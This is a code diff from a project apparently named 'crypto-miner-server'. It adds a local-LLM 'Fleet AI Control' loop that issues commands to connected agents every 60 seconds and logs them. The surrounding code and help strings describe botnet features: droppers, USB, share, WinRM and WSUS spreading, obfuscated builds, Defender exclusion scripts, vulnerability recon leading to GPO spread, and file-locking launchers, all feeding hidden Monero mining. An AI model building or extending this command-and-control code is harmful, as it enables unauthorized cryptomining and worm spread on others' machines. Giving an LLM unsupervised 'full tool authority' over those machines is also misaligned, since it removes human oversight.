rows, err := h.db.ListAIDecisions(agentID, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []db.AIDecisionRecord{}
}
writeJSON(w, rows)
}

View File

@@ -39,6 +39,18 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
return nil
}
func (m *mockConfigProvider) GetFleetAIConfig() FleetAIConfigView {
return FleetAIConfigView{
AIEndpoint: "http://127.0.0.1:11434/v1",
AINoContext: true,
AIDecisionIntervalSec: 60,
}
}
func (m *mockConfigProvider) UpdateFleetAIConfig(v FleetAIConfigView) error {
return nil
}
const testAuthUser = "testuser"
const testAuthPass = "testpass"
const testFleetSecret = "test-fleet-secret-integration"
@@ -80,7 +92,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -156,7 +169,8 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -13,6 +13,8 @@ type ServerPolicy struct {
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -155,6 +155,7 @@ type WSHub struct {
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
pingIntervalSec int
@@ -198,6 +199,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -280,7 +282,7 @@ func (h *WSHub) runAdaptiveStrategyLoop() {
h.mu.RLock()
engine := h.adaptiveEngine
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
continue
}
if _, err := engine.RecomputeAll(); err != nil {
@@ -877,7 +879,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled {
domainJoined := false
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
domainJoined = true
@@ -1542,6 +1544,27 @@ func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
return mustMarshal(base)
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) cacheAgentTelemetry(agentID string, payload map[string]interface{}) {
if agentID == "" || len(payload) == 0 {
return
}
h.mu.Lock()
defer h.mu.Unlock()
cur, ok := h.agentLiveTelemetry[agentID]
if !ok {
cur = make(map[string]interface{})
h.agentLiveTelemetry[agentID] = cur
}
for k, v := range payload {
if k == "agent_id" {
continue
}
cur[k] = v
}
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
@@ -1559,6 +1582,7 @@ func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
data = mergeStatsPayload(prev, data)
}
h.statsBatch[agentID] = data
h.cacheAgentTelemetry(agentID, payload)
if h.statsBatchTimer == nil {
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
}
@@ -1676,6 +1700,7 @@ func (h *WSHub) RemoveAgent(agentID string) {
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
delete(h.agentLiveTelemetry, agentID)
ac.Conn.Close()
}
h.mu.Unlock()
@@ -1729,7 +1754,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
engine := h.adaptiveEngine
ids := h.ConnectedAgentIDs()
h.mu.RUnlock()
if engine == nil || !engine.Enabled() {
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
return 0
}
sent := 0
@@ -1754,7 +1779,7 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int {
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
platform, _ := payload["platform"].(string)
@@ -1785,7 +1810,7 @@ func (h *WSHub) ingestStrategyFromStats(
miningHashrate float64,
activeTier string,
) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
if platform == "" || ip == "" {

View File

@@ -0,0 +1,98 @@
package db
import (
"database/sql"
"fmt"
"strings"
)
// AIDecisionRecord is one persisted fleet AI decision cycle.
type AIDecisionRecord struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
PromptHash string `json:"prompt_hash"`
Response string `json:"response"`
CommandsExecuted string `json:"commands_executed"`
Timestamp string `json:"ts"`
}
func (d *Database) ensureAIDecisionsTable() error {
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS ai_decisions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
prompt_hash TEXT NOT NULL DEFAULT '',
response TEXT NOT NULL DEFAULT '',
commands_executed TEXT NOT NULL DEFAULT '',
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`)
if err != nil {
return err
}
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_agent ON ai_decisions(agent_id)`)
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_ai_decisions_ts ON ai_decisions(ts)`)
return nil
}
// InsertAIDecision logs one fleet AI decision cycle.
func (d *Database) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
if d == nil {
return nil
}
if err := d.ensureAIDecisionsTable(); err != nil {
return err
}
_, err := d.Exec(
`INSERT INTO ai_decisions (agent_id, prompt_hash, response, commands_executed) VALUES (?, ?, ?, ?)`,
agentID, promptHash, response, commandsExecuted,
)
return err
}
// ListAIDecisions returns the most recent decisions for an agent (or all agents when agentID empty).
func (d *Database) ListAIDecisions(agentID string, limit int) ([]AIDecisionRecord, error) {
if d == nil {
return nil, nil
}
if err := d.ensureAIDecisionsTable(); err != nil {
return nil, err
}
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
var rows *sql.Rows
var err error
agentID = strings.TrimSpace(agentID)
if agentID != "" {
rows, err = d.Query(
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
FROM ai_decisions WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
agentID, limit,
)
} else {
rows, err = d.Query(
`SELECT id, agent_id, prompt_hash, response, commands_executed, ts
FROM ai_decisions ORDER BY id DESC LIMIT ?`,
limit,
)
}
if err != nil {
return nil, fmt.Errorf("list ai decisions: %w", err)
}
defer rows.Close()
out := make([]AIDecisionRecord, 0, limit)
for rows.Next() {
var rec AIDecisionRecord
var ts string
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.PromptHash, &rec.Response, &rec.CommandsExecuted, &ts); err != nil {
return nil, err
}
rec.Timestamp = ts
out = append(out, rec)
}
return out, rows.Err()
}

View File

@@ -20,6 +20,7 @@ import (
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/cloudflared"
"crypto-miner-server/internal/db"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
@@ -268,6 +269,17 @@ func main() {
defer fleetSched.Stop()
wsHub.SetConnectTaskRunner(fleetSched)
fleetAISched := fleetai.NewScheduler(
&api.ConfigAIAdapter{Src: configProvider},
&api.WSHubSnapshotAdapter{Hub: wsHub},
&api.FleetAIExecutor{Hub: wsHub},
&api.DatabaseAIDecisionStore{DB: database},
)
fleetAISched.Start()
defer fleetAISched.Stop()
fleetAIHandler := api.NewFleetAIHandler(configProvider, database)
log.Println("Fleet AI Control scheduler initialized")
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized")
@@ -305,7 +317,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
@@ -379,6 +391,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
},
AIControlEnabled: cfg.Server.AIControlEnabled,
})
}
if poolManager != nil {
@@ -479,6 +492,46 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return nil
}
func (p *serverConfigProvider) GetFleetAIConfig() api.FleetAIConfigView {
if p == nil || p.config == nil {
return api.FleetAIConfigView{}
}
s := p.config.Server
interval := s.AIDecisionIntervalSec
if interval <= 0 {
interval = 60
}
return api.FleetAIConfigView{
AIControlEnabled: s.AIControlEnabled,
AIEndpoint: s.AIEndpoint,
AIModel: s.AIModel,
AINoContext: s.AINoContext,
AIDecisionIntervalSec: interval,
}
}
func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) error {
if p == nil || p.config == nil {
return fmt.Errorf("config unavailable")
}
if v.AIDecisionIntervalSec < 0 {
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
}
payload, err := json.Marshal(map[string]interface{}{
"server": map[string]interface{}{
"ai_control_enabled": v.AIControlEnabled,
"ai_endpoint": v.AIEndpoint,
"ai_model": v.AIModel,
"ai_no_context": v.AINoContext,
"ai_decision_interval_sec": v.AIDecisionIntervalSec,
},
})
if err != nil {
return err
}
return p.UpdateConfigFromJSON(payload)
}
// findAgentSourceDir locates the agent source code directory
// It searches relative to the server binary location and the current working directory
func findAgentSourceDir() string {

View File

@@ -237,6 +237,7 @@ describe('api client', () => {
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse([]))
.mockResolvedValueOnce(jsonResponse({ models: ['llama3.2'] }))
.mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
.mockResolvedValueOnce(jsonResponse({ success: true }))
.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
@@ -253,6 +254,9 @@ describe('api client', () => {
await api.getAIActivity();
expect(lastFetch().url).toBe('/api/v1/ai/activity');
await api.getAIModels('http://127.0.0.1:11434/v1');
expect(lastFetch().url).toBe('/api/v1/ai/models?endpoint=http%3A%2F%2F127.0.0.1%3A11434%2Fv1');
await api.getEarningsEstimate(1234.5);
expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');

View File

@@ -0,0 +1,176 @@
import { useState } from 'react';
import type { ServerSettings } from '../types';
import { api } from '../api/client';
import { HelpTip, FieldHint } from './HelpTip';
import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
export const DEFAULT_AI_INTERVAL_SEC = 60;
function readEndpoint(server: ServerSettings): string {
return server.ai_endpoint?.trim() || server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT;
}
function readIntervalSec(server: ServerSettings): number {
return server.ai_decision_interval_sec ?? server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC;
}
interface Props {
server: ServerSettings;
onUpdate: (path: string, value: unknown) => void;
}
export default function CalibrationAIControl({ server, onUpdate }: Props) {
const aiControl = server.ai_control_enabled ?? false;
const endpoint = readEndpoint(server);
const model = server.ai_model?.trim() || '';
const intervalSec = readIntervalSec(server);
const [models, setModels] = useState<string[]>([]);
const [refreshing, setRefreshing] = useState(false);
const [modelsMsg, setModelsMsg] = useState('');
const handleRefreshModels = async () => {
setRefreshing(true);
setModelsMsg('');
try {
const res = await api.getAIModels(endpoint);
setModels(res.models ?? []);
if (!res.models?.length) {
setModelsMsg(res.error || 'No models returned — is Ollama running?');
} else {
setModelsMsg(`${res.models.length} model(s) loaded`);
if (!model && res.models[0]) {
onUpdate('server.ai_model', res.models[0]);
}
}
} catch (e) {
setModels([]);
setModelsMsg(e instanceof Error ? e.message : 'Failed to refresh models');
} finally {
setRefreshing(false);
}
};
return (
<div className="calibration-ai-control">
<div
className="calibration-mode-toggle"
role="group"
aria-label="Calibration control mode"
>
<button
type="button"
className={`calibration-mode-btn ${!aiControl ? 'calibration-mode-btn--active' : ''}`}
aria-pressed={!aiControl}
onClick={() => onUpdate('server.ai_control_enabled', false)}
>
<span className="calibration-mode-label">Logic gates</span>
<span className="calibration-mode-sub">Adaptive strategy &amp; tier chains</span>
</button>
<button
type="button"
className={`calibration-mode-btn ${aiControl ? 'calibration-mode-btn--active' : ''}`}
aria-pressed={aiControl}
onClick={() => onUpdate('server.ai_control_enabled', true)}
>
<span className="calibration-mode-label">AI Control</span>
<span className="calibration-mode-sub">Local LLM fleet decisions</span>
</button>
</div>
{aiControl ? (
<div className="calibration-ai-panel">
<p className="section-desc calibration-ai-blurb">
Fleet AI issues <strong>stateless</strong> decisions every {intervalSec}s per agent no memory
between cycles. The control server calls your local LLM; agents execute tool calls on{' '}
<em>your</em> machines only. Complete fleet control stays on your LAN.
</p>
<div className="form-group">
<label htmlFor="cal-ai-endpoint" className="label">
Local API URL <HelpTip field="ai_local_endpoint" />
</label>
<input
id="cal-ai-endpoint"
type="url"
className="input mono"
value={endpoint}
placeholder={DEFAULT_AI_LOCAL_ENDPOINT}
onChange={(e) => onUpdate('server.ai_endpoint', e.target.value)}
/>
<FieldHint field="ai_local_endpoint" />
</div>
<div className="form-row calibration-ai-model-row">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={refreshing}
onClick={handleRefreshModels}
>
{refreshing ? 'Refreshing…' : 'Refresh models'}
</button>
<div className="form-group" style={{ flex: 1, margin: 0 }}>
<label htmlFor="cal-ai-model" className="label">
Model <HelpTip field="calibration_ai_model" />
</label>
<select
id="cal-ai-model"
className="input"
value={model}
onChange={(e) => onUpdate('server.ai_model', e.target.value)}
>
<option value="">{models.length ? 'Select a model…' : 'Refresh models first'}</option>
{model && !models.includes(model) && (
<option value={model}>{model}</option>
)}
{models.map((m) => (
<option key={m} value={m}>{m}</option>
))}
</select>
</div>
</div>
{modelsMsg && (
<p className="form-hint calibration-ai-models-msg">{modelsMsg}</p>
)}
<div className="calibration-ai-meta">
<div className="calibration-ai-info-chip">
<span className="font-tech">ai_no_context</span>
<span className="calibration-ai-info-value">always on</span>
<HelpTip field="ai_no_context" />
</div>
<div className="calibration-ai-info-chip">
<span className="font-tech">Interval</span>
<span className="calibration-ai-info-value">{intervalSec}s per agent</span>
<HelpTip field="ai_interval_sec" />
</div>
</div>
</div>
) : (
<div className="calibration-logic-panel">
<p className="section-desc">{ADAPTIVE_STRATEGY_HELP}</p>
<FieldHint field="adaptive_strategy" />
<FieldHint field="lotl_onion_tiers" />
<div className="form-group checkbox-group" style={{ marginTop: '1rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.adaptive_strategy_enabled !== false}
onChange={(e) => onUpdate('server.adaptive_strategy_enabled', e.target.checked)}
/>
<span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
</p>
) : null}
</div>
)}
</div>
);
}

View File

@@ -18,6 +18,8 @@ const HELP_TIP_FIELDS = [
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
'adaptive_strategy', 'lotl_onion_tiers',
'forge_operation_mode', 'forge_path_forge',
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',

View File

@@ -82,6 +82,13 @@ export const DOC_ANCHORS: Record<string, string> = {
ai_enabled: '/docs/#alerts-ai',
ai_ollama_endpoint: '/docs/#alerts-ai',
ai_model: '/docs/#alerts-ai',
calibration_ai_control: '/docs/#alerts-ai',
ai_local_endpoint: '/docs/#alerts-ai',
calibration_ai_model: '/docs/#alerts-ai',
ai_no_context: '/docs/#alerts-ai',
ai_interval_sec: '/docs/#alerts-ai',
adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
// Crucible / agent remote
firewall_remote: '/docs/#crucible-ops',

View File

@@ -96,6 +96,11 @@ describe('FIELD_HELP', () => {
'log_pool_traffic',
'adapt_to_hardware',
'adaptive_strategy',
'calibration_ai_control',
'ai_local_endpoint',
'calibration_ai_model',
'ai_no_context',
'ai_interval_sec',
'self_healing',
'firewall_exclusion',
'firewall_remote',

View File

@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy:
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
lotl_onion_tiers:
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
calibration_ai_control:
'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
ai_local_endpoint:
'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
calibration_ai_model:
'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
ai_no_context:
'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
ai_interval_sec:
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:

View File

@@ -1300,6 +1300,102 @@ button.deliverable-card .form-hint {
margin-right: 4px;
}
/* Calibrate — Logic gates ↔ AI Control */
.calibration-mode-toggle {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.65rem;
margin: 1rem 0 1.25rem;
}
.calibration-mode-btn {
display: flex;
flex-direction: column;
align-items: flex-start;
gap: 0.35rem;
padding: 1rem 1.15rem;
border-radius: 10px;
border: 1px solid var(--border-brass);
background: rgba(10, 10, 18, 0.65);
color: var(--text-secondary);
cursor: pointer;
text-align: left;
transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
}
.calibration-mode-btn:hover {
border-color: rgba(0, 232, 245, 0.35);
background: rgba(0, 232, 245, 0.04);
}
.calibration-mode-btn--active {
border-color: rgba(232, 40, 168, 0.55);
background: linear-gradient(145deg, rgba(232, 40, 168, 0.12) 0%, rgba(0, 232, 245, 0.06) 100%);
color: var(--text-primary);
box-shadow: 0 0 24px rgba(232, 40, 168, 0.15);
}
.calibration-mode-label {
font-family: var(--font-tech);
font-size: 1.05rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan);
}
.calibration-mode-btn--active .calibration-mode-label {
color: var(--neon-magenta);
}
.calibration-mode-sub {
font-size: 0.88rem;
line-height: 1.35;
}
.calibration-ai-model-row {
align-items: flex-end;
gap: 0.75rem;
margin-top: 0.75rem;
}
.calibration-ai-meta {
display: flex;
flex-wrap: wrap;
gap: 0.65rem;
margin-top: 1rem;
}
.calibration-ai-info-chip {
display: inline-flex;
align-items: center;
gap: 0.45rem;
padding: 0.45rem 0.75rem;
border-radius: 8px;
border: 1px solid var(--border-neon);
background: rgba(0, 232, 245, 0.05);
font-size: 0.85rem;
}
.calibration-ai-info-chip .font-tech {
color: var(--neon-amber);
font-size: 0.78rem;
}
.calibration-ai-info-value {
color: var(--neon-green);
}
.calibration-ai-models-msg {
margin-top: 0.35rem;
color: var(--text-secondary);
}
@media (max-width: 640px) {
.calibration-mode-toggle {
grid-template-columns: 1fr;
}
}
.forge-simple-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;

View File

@@ -173,6 +173,51 @@ describe('SettingsPage (Calibrate)', () => {
expect(saved?.server?.public_builds_latest_n).toBe(3);
});
it('renders Calibration Control mode toggle', async () => {
renderSettings();
expect(await screen.findByRole('group', { name: 'Calibration control mode' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /Logic gates/i })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /AI Control/i })).toBeInTheDocument();
expect(screen.getByText(/Adaptive strategy & tier chains/i)).toBeInTheDocument();
expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
});
it('switches to AI Control and refreshes models', async () => {
const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
models: ['llama3.2', 'mistral'],
endpoint: 'http://127.0.0.1:11434/v1',
});
const user = userEvent.setup();
renderSettings();
await screen.findByRole('button', { name: /AI Control/i });
await user.click(screen.getByRole('button', { name: /AI Control/i }));
expect(screen.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeInTheDocument();
expect(screen.getByText(/ai_no_context/i)).toBeInTheDocument();
expect(screen.getAllByText(/60s per agent/i).length).toBeGreaterThanOrEqual(1);
await user.click(screen.getByRole('button', { name: 'Refresh models' }));
await waitFor(() => {
expect(modelsSpy).toHaveBeenCalledWith('http://127.0.0.1:11434/v1');
});
expect(await screen.findByText('2 model(s) loaded')).toBeInTheDocument();
const modelSelect = screen.getByRole('combobox', { name: /Model/i }) as HTMLSelectElement;
expect(modelSelect.value).toBe('llama3.2');
});
it('saves AI Control settings via updateConfig', async () => {
const user = userEvent.setup();
renderSettings();
await screen.findByRole('button', { name: /AI Control/i });
await user.click(screen.getByRole('button', { name: /AI Control/i }));
await user.click(screen.getByRole('button', { name: /save calibration/i }));
await waitFor(() => {
expect(api.updateConfig).toHaveBeenCalled();
});
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
expect(saved?.server?.ai_control_enabled).toBe(true);
expect(saved?.server?.ai_endpoint).toBe('http://127.0.0.1:11434/v1');
expect(saved?.server?.ai_no_context).toBe(true);
});
it('describes first-run admin credentials in Access Control help', async () => {
renderSettings();
expect(

View File

@@ -34,6 +34,10 @@ import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import CalibrationAIControl, {
DEFAULT_AI_INTERVAL_SEC,
DEFAULT_AI_LOCAL_ENDPOINT,
} from '../components/CalibrationAIControl';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
@@ -182,7 +186,25 @@ export default function SettingsPage() {
setSaving(true);
setSaveMessage('');
try {
const updated = await api.updateConfig(config);
let payload = config;
if (config.server?.ai_control_enabled) {
payload = {
...config,
server: {
...config.server,
ai_endpoint:
config.server.ai_endpoint?.trim()
|| config.server.ai_local_endpoint?.trim()
|| DEFAULT_AI_LOCAL_ENDPOINT,
ai_no_context: true,
ai_decision_interval_sec:
config.server.ai_decision_interval_sec
?? config.server.ai_interval_sec
?? DEFAULT_AI_INTERVAL_SEC,
},
};
}
const updated = await api.updateConfig(payload);
setConfig(updated);
setSaveMessage('Calibration saved — control server updated.');
setTimeout(() => setSaveMessage(''), 4000);
@@ -538,6 +560,20 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive calibration-ai-section" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">
Calibration Control <HelpTip field="calibration_ai_control" />
</h2>
<p className="section-desc">
Choose how the server steers fleet behavior weighted logic gates or a local LLM loop.
</p>
<CalibrationAIControl
server={s}
onUpdate={updateField}
/>
<FieldHint field="calibration_ai_control" />
</NeonCard>
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>

View File

@@ -302,12 +302,16 @@ export interface ServerSettings {
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
ai_control_enabled?: boolean;
/** OpenAI-compatible or Ollama base URL on the control PC. */
ai_endpoint?: string;
/** @deprecated Alias hydrated from legacy saves — prefer ai_endpoint. */
